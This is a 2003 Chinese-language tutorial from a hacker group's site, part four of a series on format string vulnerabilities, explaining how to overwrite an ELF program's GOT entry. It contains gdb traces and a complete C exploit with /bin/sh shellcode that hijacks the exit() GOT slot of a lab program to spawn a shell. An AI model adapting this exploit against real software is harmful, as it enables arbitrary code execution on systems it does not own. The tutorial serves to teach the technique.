快速通道

文档分类
- 红盟公告
- 新手上路
- 漏洞分析
- 工具介绍
- 安全配置
- 编程技术
- **安全技术** <=
- 业界动态

本类热门
- 如何利用黑客技术跟踪并分析一名目标人物
- 有关无线安全与黑客的话题
- 让我们回归(by 默难)
- 通用ShellCode深入剖析[转]
- Format String 漏洞介绍/总结(一)
- 结合实例解读ELF文件-阅读笔记(1)

Format String 漏洞介绍/总结(四)

提交文章： bkbll
提交日期： 2003-07-28
文章属性： 原创
文档类别： 安全技术
浏览次数： 今1次/总1313次

Format String 漏洞介绍/总结(四)
Bkbll(bkbll@cnhonker.net)
2003-3-9
5．覆盖GOT表
在编译elf文件的时候，如果要用到其他动态库的函数，比如printf, exit等， 编译的时候并不会直接把这两个函数的代码编译进去，而是留一个调用地址在GOT表里面，当elf文件被加载的时候，代码段才会真正加载进来，然后替换掉GOT表里面的地址(具体实现可以参考alert7的一篇文章。)

```
[bkbll@mobile format]$ cat 13.c
main(){printf("hello,world");exit(0);}
[bkbll@mobile format]$ gdb -q 13
(gdb) disass printf
Dump of assembler code for function printf:
0x804828c <printf>: jmp *0x80494d8
0x8048292 <printf+6>: push $0x8
0x8048297 <printf+11>: jmp 0x804826c <_init+24>
End of assembler dump.
(gdb) x/wx 0x80494d8
0x80494d8 <_GLOBAL_OFFSET_TABLE_+16>: 0x08048292
(gdb) x/i 0x804826c
0x804826c <_init+24>: pushl 0x80494cc
(gdb)
0x8048272 <_init+30>: jmp *0x80494d0
(gdb) x/w 0x80494d0
0x80494d0 <_GLOBAL_OFFSET_TABLE_+8>: 0x00000000
```

在未开始加载动态共享库的时候，PLT表第1项指向的函数地址为空。

```
(gdb) b main
Breakpoint 1 at 0x8048362
(gdb) r
Starting program: /home/bkbll/format/13

Breakpoint 1, 0x08048362 in main ()
(gdb) x/w 0x80494d0
0x80494d0 <_GLOBAL_OFFSET_TABLE_+8>: 0x4000a180
(gdb) disass 0x4000a180
Dump of assembler code for function _dl_runtime_resolve:
0x4000a180 <_dl_runtime_resolve>: push %eax
0x4000a181 <_dl_runtime_resolve+1>: push %ecx
0x4000a182 <_dl_runtime_resolve+2>: push %edx
0x4000a183 <_dl_runtime_resolve+3>: mov 0x10(%esp,1),%edx
0x4000a187 <_dl_runtime_resolve+7>: mov 0xc(%esp,1),%eax
0x4000a18b <_dl_runtime_resolve+11>: call 0x40009f10 <fixup> /* 这里开始把填充函数
```

```
地址 */
0x4000a190 <_dl_runtime_resolve+16>: pop %edx
0x4000a191 <_dl_runtime_resolve+17>: pop %ecx
0x4000a192 <_dl_runtime_resolve+18>: xchg %eax,(%esp,1)
0x4000a195 <_dl_runtime_resolve+21>: ret $0x8
0x4000a198 <_dl_runtime_resolve+24>: nop
0x4000a199 <_dl_runtime_resolve+25>: lea 0x0(%esi,1),%esi
End of assembler dump.
(gdb) b *0x4000a192
Breakpoint 2 at 0x4000a192
(gdb) c
Continuing.

Breakpoint 2, 0x4000a192 in _dl_runtime_resolve () from /lib/ld-linux.so.2
(gdb) x/i 0x804828c
0x804828c <printf>: jmp *0x80494d8
(gdb) x/wx 0x80494d8
0x80494d8 <_GLOBAL_OFFSET_TABLE_+16>: 0x42052390 /* 这里已经改成了真的printf
函数地址*/
(gdb) disass 0x42052390 0x42052390+0x70
Dump of assembler code from 0x42052390 to 0x42052400:
0x42052390 <printf>: push %ebp
0x42052391 <printf+1>: mov %esp,%ebp
0x42052393 <printf+3>: sub $0x18,%esp
0x42052396 <printf+6>: mov %ebx,0xfffffffc(%ebp)
0x42052399 <printf+9>: lea 0xc(%ebp),%ecx
0x4205239c <printf+12>: call 0x4201575d <__i686.get_pc_thunk.bx>
0x420523a1 <printf+17>: add $0xd7f2f,%ebx
0x420523a7 <printf+23>: mov 0x17c(%ebx),%eax
0x420523ad <printf+29>: mov (%eax),%eax
0x420523af <printf+31>: mov %ecx,0x8(%esp,1)
0x420523b3 <printf+35>: mov %eax,(%esp,1)
0x420523b6 <printf+38>: mov 0x8(%ebp),%eax
0x420523b9 <printf+41>: mov %eax,0x4(%esp,1)
0x420523bd <printf+45>: call 0x42047f00 <vfprintf>
0x420523c2 <printf+50>: mov 0xfffffffc(%ebp),%ebx
0x420523c5 <printf+53>: mov %ebp,%esp
0x420523c7 <printf+55>: pop %ebp
0x420523c8 <printf+56>: ret
0x420523c9 <printf+57>: nop
0x420523ca <printf+58>: nop
0x420523cb <printf+59>: nop
0x420523cc <printf+60>: nop
---Type <return> to continue, or q <return> to quit---q
Quit
这个是printf函数的加载过程，下面的exit函数过程一样。
因为exit函数在printf后面加载， 所以我们可以通过format string漏洞覆盖掉exit函数的入口
地址，不让他去执行真正的exit函数。
我们看一下exit函数的位置：
(gdb) disass main
Dump of assembler code for function main:
0x804835c <main>: push %ebp
0x804835d <main+1>: mov %esp,%ebp
0x804835f <main+3>: sub $0x8,%esp
0x8048362 <main+6>: and $0xfffffff0,%esp
0x8048365 <main+9>: mov $0x0,%eax
0x804836a <main+14>: sub %eax,%esp
0x804836c <main+16>: sub $0xc,%esp
0x804836f <main+19>: push $0x80483d0
0x8048374 <main+24>: call 0x804828c <printf>
0x8048379 <main+29>: add $0x10,%esp
0x804837c <main+32>: sub $0xc,%esp
0x804837f <main+35>: push $0x0
0x8048381 <main+37>: call 0x804829c <exit>
0x8048386 <main+42>: nop
0x8048387 <main+43>: nop
(gdb) x/i 0x804829c
0x804829c <exit>: jmp *0x80494dc
(gdb) x/wx 0x80494dc
0x80494dc <_GLOBAL_OFFSET_TABLE_+20>: 0x080482a2
(gdb) x/i 0x080482a2
0x80482a2 <exit+6>: push $0x10
```

(gdb)
0x80482a7 <exit+11>: jmp 0x804826c <_init+24> /*这里就需要加载exit函数地址了*/
只要我们覆盖掉0x80494dc地址，让里面的内容替换成我们的shellcode地址就可以执行我们的命令了.
对应我们的vuln程序：
[bkbll@mobile fmtxp_lib]$ objdump -R vuln

vuln: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049648 R_386_GLOB_DAT __gmon_start__
0804964c R_386_COPY stderr
08049630 R_386_JUMP_SLOT fprintf
08049634 R_386_JUMP_SLOT fgets
08049638 R_386_JUMP_SLOT __libc_start_main
0804963c R_386_JUMP_SLOT printf
08049640 R_386_JUMP_SLOT exit
08049644 R_386_JUMP_SLOT fopen

所以want_write_addr=08049640,其他都一样。
[bkbll@mobile fmtxp_lib]$ cat x3.c
```
/* write to exit function GOT address
* objdump -R vuln |grep exit
* coded by bkbll(bkbll@cnhokenr.net)
*/
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>

#define want_write_addr 0x8049640
#define pad 12
#define straddr 0xbffff690
char shellcode[]=
"\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89"
"\x76\x08\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c"
"\xcd\x80\x29\xc0\x40\xcd\x80\xe8\xde\xff\xff\xff"
"/bin/sh";

main()
{

int high_ret,low_ret;
char buffer[1024];
int j=0;
int shell_addr_pad=0x50;
int rea_high_ret,rea_low_ret;
int print_acc;
memset(buffer,0x90,1024);
buffer[1023]=0;

high_ret=((straddr+shell_addr_pad) >> 16) & 0xffff;
low_ret=(straddr+shell_addr_pad) & 0xffff;
if(high_ret == low_ret) exit(0);
rea_high_ret=high_ret;
rea_low_ret=low_ret;
if(high_ret < low_ret ) { rea_high_ret=low_ret;rea_low_ret=high_ret;}
print_acc=rea_high_ret - rea_low_ret;
fprintf(stderr,"use shell addr:%p\n",straddr+shell_addr_pad);
//j=sprintf(buffer,"%s",want_write_addr);
buffer[0]=want_write_addr & 0xff;
buffer[1]=(want_write_addr >> 8 ) & 0xff;
buffer[2]=(want_write_addr >> 16 ) & 0xff;
buffer[3]=(want_write_addr >> 24 ) & 0xff;
//j+=sprintf(buffer+j,"%s",want_write_addr+2);
buffer[4]=((want_write_addr+2)) & 0xff;
buffer[5]=((want_write_addr+2)>>8) & 0xff;
buffer[6]=((want_write_addr+2)>>16) & 0xff;
buffer[7]=((want_write_addr+2)>>24) & 0xff;

j=8;
j+=sprintf(buffer+j,"%%%dp%%%d$hn%%%dp%%%d$hn",rea_low_ret-
```

```
j,pad+1,print_acc,pad);
buffer[j]=0x90;
sprintf(buffer+(1022-strlen(shellcode)-1),"%s\x00",shellcode);
if(j>=1024) {printf("please realloc buffer to %d\n",j+1);exit(0);}
printf("%s\n",buffer);



}
bkbll@mobile fmtxp_lib]$ gcc -o x3 x3.c; ./x3 >3; ./vuln 3
蛝)繞蛝柁          /bin/sh
sh-2.05b$ id
uid=500(bkbll) gid=500(bkbll) groups=500(bkbll)
sh-2.05b$
```
成功了。
我们跟踪一下程序：
```
[bkbll@mobile fmtxp_lib]$ gdb -q vuln
(gdb) disass foo
Dump of assembler code for function foo:
0x80484c4 <foo>: push %ebp
0x80484c5 <foo+1>: mov %esp,%ebp
0x80484c7 <foo+3>: sub $0x8,%esp
0x80484ca <foo+6>: sub $0xc,%esp
0x80484cd <foo+9>: pushl 0x8(%ebp)
0x80484d0 <foo+12>: call 0x8048350 <printf>
0x80484d5 <foo+17>: add $0x10,%esp
0x80484d8 <foo+20>: leave
0x80484d9 <foo+21>: ret
End of assembler dump.
(gdb) b *0x80484cd
Breakpoint 1 at 0x80484cd: file vuln.c, line 31.
(gdb) b *0x80484d5
Breakpoint 2 at 0x80484d5: file vuln.c, line 31.
(gdb) r 3
Starting program: /home/bkbll/format/examples/fmtxp_lib/vuln 3

Breakpoint 1, 0x080484cd in foo (
line=0xbffff690 "@\226\004\bB\226\004\b%49143p%13$hn%14049p%12$hn", '\220'
<repeats 166 times>...) at vuln.c:31
31 printf (line);
(gdb) disass main
Dump of assembler code for function main:
0x8048430 <main>: push %ebp
0x8048431 <main+1>: mov %esp,%ebp
0x8048433 <main+3>: sub $0x418,%esp
0x8048439 <main+9>: and $0xfffffff0,%esp
0x804843c <main+12>: mov $0x0,%eax
0x8048441 <main+17>: sub %eax,%esp
0x8048443 <main+19>: sub $0x8,%esp
0x8048446 <main+22>: push $0x8048524
0x804844b <main+27>: mov 0xc(%ebp),%eax
0x804844e <main+30>: add $0x4,%eax
0x8048451 <main+33>: pushl (%eax)
0x8048453 <main+35>: call 0x8048370 <fopen>
0x8048458 <main+40>: add $0x10,%esp
0x804845b <main+43>: mov %eax,0xfffffff4(%ebp)
0x804845e <main+46>: cmpl $0x0,0xfffffff4(%ebp)
0x8048462 <main+50>: jne 0x8048489 <main+89>
0x8048464 <main+52>: sub $0x4,%esp
0x8048467 <main+55>: mov 0xc(%ebp),%eax
0x804846a <main+58>: pushl (%eax)
0x804846c <main+60>: push $0x8048527
0x8048471 <main+65>: pushl 0x804964c
0x8048477 <main+71>: call 0x8048320 <fprintf>
---Type <return> to continue, or q <return> to quit---
0x804847c <main+76>: add $0x10,%esp
0x804847f <main+79>: sub $0xc,%esp
0x8048482 <main+82>: push $0x1
0x8048484 <main+84>: call 0x8048360 <exit>
0x8048489 <main+89>: sub $0x4,%esp
0x804848c <main+92>: pushl 0xfffffff4(%ebp)
0x804848f <main+95>: push $0x3ff
```

```
0x8048494 <main+100>: lea 0xffffbe8(%ebp),%eax
0x804849a <main+106>: push %eax
0x804849b <main+107>: call 0x8048330 <fgets>
0x80484a0 <main+112>: add $0x10,%esp
0x80484a3 <main+115>: movb $0x0,0xffffffe7(%ebp)
0x80484a7 <main+119>: sub $0xc,%esp
0x80484aa <main+122>: lea 0xffffbe8(%ebp),%eax
0x80484b0 <main+128>: push %eax
0x80484b1 <main+129>: call 0x80484c4 <foo>
0x80484b6 <main+134>: add $0x10,%esp
0x80484b9 <main+137>: sub $0xc,%esp
0x80484bc <main+140>: push $0x0
0x80484be <main+142>: call 0x8048360 <exit>
End of assembler dump.
(gdb) x/i 0x8048360
0x8048360 <exit>: jmp *0x8049640
(gdb) x/wx 0x8049640
0x8049640 <_GLOBAL_OFFSET_TABLE_+28>: 0x08048366
(gdb)c
蛎)繞蛎柁          /bin/sh

Breakpoint 2, 0x080484d5 in foo (
line=0xbffff690 "@\226\004\bB\226\004\b%49143p%13$hn%14049p%12$hn", '\220'
<repeats 166 times>...) at vuln.c:31
31 printf (line);
(gdb) x/wx 0x8049640
0x8049640 <_GLOBAL_OFFSET_TABLE_+28>: 0xbffff6e0 /* 已经修改成了我们的
shellcode地址了 */
(gdb) x/i 0xbffff6e0
0xbffff6e0: nop
(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000b30 in _start () from /lib/ld-linux.so.2
(gdb)
```

6．后记

我这里讲叙的都是一些最基本的format string利用方法，在phrack杂志上还有其他更深入很复杂的利用方法，比如利用覆盖return into libc的方法来饶过non-exec stack的限制等。有兴趣可以看看alert7, warning3等牛人的文章，或者直接看phrack杂志的介绍。

本人水平有限，对于GOT的理解只能是知其原，不知其所以原，如果理解有错误，还望不吝指教。

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net